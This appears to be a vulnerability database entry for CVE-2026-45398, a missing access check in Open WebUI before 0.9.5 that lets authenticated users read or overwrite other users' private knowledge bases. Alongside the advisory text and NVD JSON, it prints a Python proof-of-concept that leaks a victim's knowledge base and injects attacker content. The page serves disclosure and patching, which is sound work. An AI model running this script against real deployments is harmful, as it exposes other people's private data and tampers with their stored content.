Security Vulnerability Report
中文
CVE-2026-45398 CVSS 7.5 HIGH

CVE-2026-45398

Published: 2026-05-15 21:16:38
Last Modified: 2026-05-15 21:16:38

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, _validate_collection_access() checks the user-memory-* and file-* collection name prefixes but does not check knowledge base collections, which use raw UUIDs as collection names. Any authenticated user who knows a private knowledge base UUID can read its content through the retrieval query endpoints, even though the knowledge API correctly denies that user access. The same gap affects the retrieval write endpoints (/process/text, /process/file, /process/files/batch, /process/web, /process/youtube), allowing an attacker to inject content into or overwrite another user's knowledge base. This vulnerability is fixed in 0.9.5.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://localhost:3000" knowledge_base_uuid = "<TARGET_KNOWLEDGE_BASE_UUID>" # UUID of the victim's knowledge base attacker_session_cookie = "<ATTACKER_SESSION_TOKEN>" headers = { "Authorization": f"Bearer {attacker_session_cookie}", "Content-Type": "application/json" } # 1. Read content from private knowledge base (Retrieval) read_payload = { "collection_name": knowledge_base_uuid, "query": "test query" } print("[*] Attempting to read private knowledge base...") response = requests.post(f"{target_url}/api/v1/retrieval", json=read_payload, headers=headers) if response.status_code == 200: print(f"[+] Success! Leaked data: {response.json()}") else: print(f"[-] Failed with status: {response.status_code}") # 2. Inject/Overwrite content (Write) write_payload = { "collection_name": knowledge_base_uuid, "text": "Malicious content injected by attacker", "mode": "ingest" } print("\n[*] Attempting to inject malicious content...") response = requests.post(f"{target_url}/api/v1/process/text", json=write_payload, headers=headers) if response.status_code == 200: print(f"[+] Success! Content injected.") else: print(f"[-] Failed with status: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45398", "sourceIdentifier": "[email protected]", "published": "2026-05-15T21:16:37.863", "lastModified": "2026-05-15T21:16:37.863", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, _validate_collection_access() checks the user-memory-* and file-* collection name prefixes but does not check knowledge base collections, which use raw UUIDs as collection names. Any authenticated user who knows a private knowledge base UUID can read its content through the retrieval query endpoints, even though the knowledge API correctly denies that user access. The same gap affects the retrieval write endpoints (/process/text, /process/file, /process/files/batch, /process/web, /process/youtube), allowing an attacker to inject content into or overwrite another user's knowledge base. This vulnerability is fixed in 0.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/pull/22109", "source": "[email protected]"}, {"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.5", "source": "[email protected]"}, {"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4g37-7p2c-38r9", "source": "[email protected]"}]}}